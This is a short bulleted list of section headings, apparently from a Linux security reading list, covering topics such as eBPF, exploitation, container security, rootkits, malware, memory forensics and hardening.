  • LSM Sandboxes / Isolations
  • eBPF
  • eBPF Prevention/Detection
  • Exploitation
  • Kubernetes/Containers
  • Evasion / Bypassing techniques
  • Rootkits
  • Malware
  • OS Security Stacks
  • Memory Forensics
  • Fun
  • Hardening